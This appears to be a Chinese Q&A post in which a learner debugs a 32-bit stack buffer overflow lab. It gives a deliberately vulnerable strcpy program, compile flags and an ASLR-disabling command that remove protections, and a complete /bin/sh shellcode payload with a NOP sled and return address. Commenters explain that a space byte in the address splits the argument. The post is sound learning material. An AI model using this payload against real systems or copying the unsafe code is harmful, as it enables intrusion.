【发布时间】:2021-11-13 15:16:15
【问题描述】:
我试图理解为什么为了成功执行我的 shellcode 有效负载,我需要在堆栈中使用特定的返回地址。
如果我使用仍在堆栈中的其他地址,我会得到 SIGSEGV segmentation fault 或 SIGILL illegal instruction。
首先,我通过这样做在我的操作系统上停用了 ASLR:
echo 0 > /proc/sys/kernel/randomize_va_space
这是我的易受攻击的 C 代码:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void func (char *arg) {
char buffer[64];
strcpy(buffer, arg);
printf("%s\n", buffer);
}
int main(int argc, char *argv[])
{
func(argv[1]);
return 0;
}
我在 64 位机器上使用 gcc 将其编译为 32 位,代码如下:
gcc -z execstack -m32 buffer.c -g -o buffer -fno-stack-protector
因此,我有一个可执行堆栈,因此 shellcode 是可执行的,也没有堆栈保护器来允许堆栈粉碎。
这是我的 shellcode(NOP|shellcode-payload|return-address):
"\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff"
我使用 Python2 将此 shellcode 作为buffer 二进制文件的输入提供给 gdb,如下所示:
gdb --args ./buffer $(python2 -c 'print("\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff")')
通过将break func 放入gdb 中,我可以打印显示堆栈的位的以下字节。
如果我将任何不在范围内的返回地址放在 shellcode 的末尾:0xffffd521-0xffffd539。我得到了 SIGSEGV 或 SIGILL 为什么会这样?
例如,0xffffd520 是堆栈内的有效地址,为什么它不起作用?
【问题讨论】:
-
因为它是未定义的行为。在这一点上,试图推理它是没有实际意义的。这些类型的 hack,如果正确完成,仍然需要您尝试多次,直到幸运并且它完成了您期望损坏的代码执行的操作。
-
很难说为什么它不起作用。您很可能在 shellcode 中间跳入数据或(可能未对齐)指令。请注意,更改
argv[1]的大小也会有效地在堆栈上移动东西,因为程序参数存储在堆栈的底部。 -
0xffffd520有一个空格作为其字节 (0x20) 之一,而 shell 中的$(...)在空格上拆分。因此,有了这样一个地址,我怀疑您没有将整个有效负载放入argv[1]。尝试检查程序中argc和argv的值以确认。你需要写"$(...)"。 -
@NateEldredge 你说得对,如果我使用
$(...),argc 等于3,但如果我使用"$(...)",它会下降到2。同样argv在最后被剪掉作为返回地址。 -
您能否在@NateEldredge 中添加您的评论作为答案?
标签: c return buffer-overflow shellcode stack-pointer